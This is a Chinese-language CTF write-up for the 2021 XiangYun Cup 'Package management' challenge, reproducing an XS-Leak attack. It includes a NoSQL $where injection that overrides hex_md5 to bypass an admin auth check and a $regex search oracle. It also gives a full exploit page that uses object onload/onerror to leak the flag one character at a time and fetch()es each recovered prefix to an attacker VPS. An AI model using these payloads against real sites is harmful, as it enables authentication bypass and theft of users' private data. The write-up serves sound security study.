xsleaks-Search

打算把 http://xsleak.dev 上的知识点全部过一遍 顺便找对应的题目来复现一下

祥云杯2021 – Package management

content

有bot 典型的 xsleak

先看一下 csp

1
2
3
4
5
6
7
app.use((req: Request, res: Response, next: NextFunction) => {
res.locals.session = req.session;
res.locals.csrfToken = req.csrfToken();
res.set('Content-Security-Policy', "default-src 'none';style-src 'self' 'sha256-GQNllb5OTXNDw4L6IIESVZXrXdsfSA9O8LeoDwmVQmc=';img-src 'self';form-action 'self';base-uri 'none';");
res.set('X-Content-Type-Options','nosniff');
next();
});

看下flag的位置 存在了数据库里 会被 description 取出来 只会在 admin 的用户里出现

1
2
3
4
5
6
7
const flag = {
"user_id": admin.id,
"pack_id": genPackageId(admin.id),
"name": "Flag is here",
"description": process.env.FLAG,
"version": "1.0.1"
}

所以我们的目标就是 leak 这个 description

那接下来就要看一下 view 咋写的

在 packages.pug 文件里 发现了 pack.description

应为是 !{package.description} 所以可以xss 根据csp 可在这里塞一个跳转的链接 跳到我们的vps上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
block content 
.container
if error
.alert.alert-danger= error
if message
.alert.alert-success.mx-5(role='alert') #{message}
.row
each pack in packs
.col-lg-4.col-md-6.mb-4
.card.h-100
a(href=`/packages/${pack.pack_id}`)
img.card-img-top(src=`/static/images/${pack.name}.png`, alt='')
.card-body
h4.card-title
a(href=`/packages/${pack.pack_id}`) #{pack.name}
p.card-text.text-truncate
| #{pack.description}
.card-footer
small.text-muted v#{pack.version}

那么接下来就是找到一个可以用来leak的点

查找了一下和 description 相关的函数

我们发现有一个 add package 的功能

接下来注意到了 list 功能 是按照 description 进行搜索

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
router.get('/list', async (req, res, next) => {
const packs = await Package.find({ user_id: req.session.userId });
if (packs.length == 0) {
return res.redirect('/packages');
}
let { search } = req.query;
if (search) {
try {
let description = search;
let name = search;
if (typeof description === 'string') {
description = { description };
}
if (typeof name === 'string') {
name = { name };
}
const packs = await Package.find({
user_id: req.session.userId,
$or: [name, description],
});
if (packs.length == 0) {
return next(createError(404));
}
return res.render('packages', { packs });
} catch (err) {
return next(createError(500))
}
}
return res.render('packages', { packs });
});

构造

1
/packages/list?search[description][$regex]=flag^

可以用来查询description

接下来需要过 auth 这就要回到登录注册那部分去找了

怎么说呢 这里存在 注入 但我们先不考虑注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});

需要我们使用 admin 密码得 md5

这里我看到大佬用竞争的方法 更改 hex_md5 函数 在下属是佩服

这里我们用一个hello的md5

1
hex_md5=function(){return '5d41402abc4b2a76b9719d911017c592'}
1
GET /packages/list?search[$where]=hex_md5=function(){return%20%275d41402abc4b2a76b9719d911017c592%27} 

卧槽 nb 真的成功了 似乎这里并不需要竞争? 我过段时间发还是可以过auth的

提交我们构造的恶意的包 此时bot就会访问我们的页面并被重定向到我们自己的页面,再结合刚才的search 就可以进行xsleak

最后我们需要的是一个 hit

而具体 leak 的方法。我们使用object标签。它能在火狐环境下做到,如果object.data访问状态码 200,就会触发 onload 事件。如果访问状态码 404,就会触发 onerror 事件。我们根据这个差异性,就能利用 search 注出 flag 内容了

代码 来自 https://www.scuctf.com/ctfwiki/web/9.xss/xsleaks/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<html>
<script>
const VPS_IP = 'http://*'
const chars = "0123456789abcdefghijklmnopqrstuvwxyz-{}";

const escape = (c) => {
return c.replace(/[.*+?^=!:${}()|[\]\/\\]/g, '\\$&');
}

const oracle = async (url) => {
return new Promise((resolve, reject) => {
const object = document.createElement("object");
object.data = url;
object.onload = resolve;
object.onerror = reject;
document.head.appendChild(object);
});
}
const search = async (url) => {
try {
await oracle(url)
return true;
} catch (e) {
return false;
}
}

(async () => {
let flag = '';
let url = `http://localhost:8000/packages/list?search[description][$regex]=^${flag}`
while (flag.charAt(flag.length - 1) !== "}") {
for ( let i of chars ) {
if ( await(search(url + escape(i))) ) {
url = url + escape(i)
flag += i
await fetch(`${VPS_IP}/?flag=${flag}`, {mode: 'no-cors'})
break;
} else {
console.log('failed');
}
}
}
})();
</script>
<img src="https://deelay.me/10000/http://example.com"/>
</html

about object and cache

打算再写一篇blog记录一下

https://portswigger.net/daily-swig/new-xs-leak-techniques-reveal-fresh-ways-to-expose-user-information

https://infosecwriteups.com/cross-site-content-and-status-types-leakage-ef2dab0a492

https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html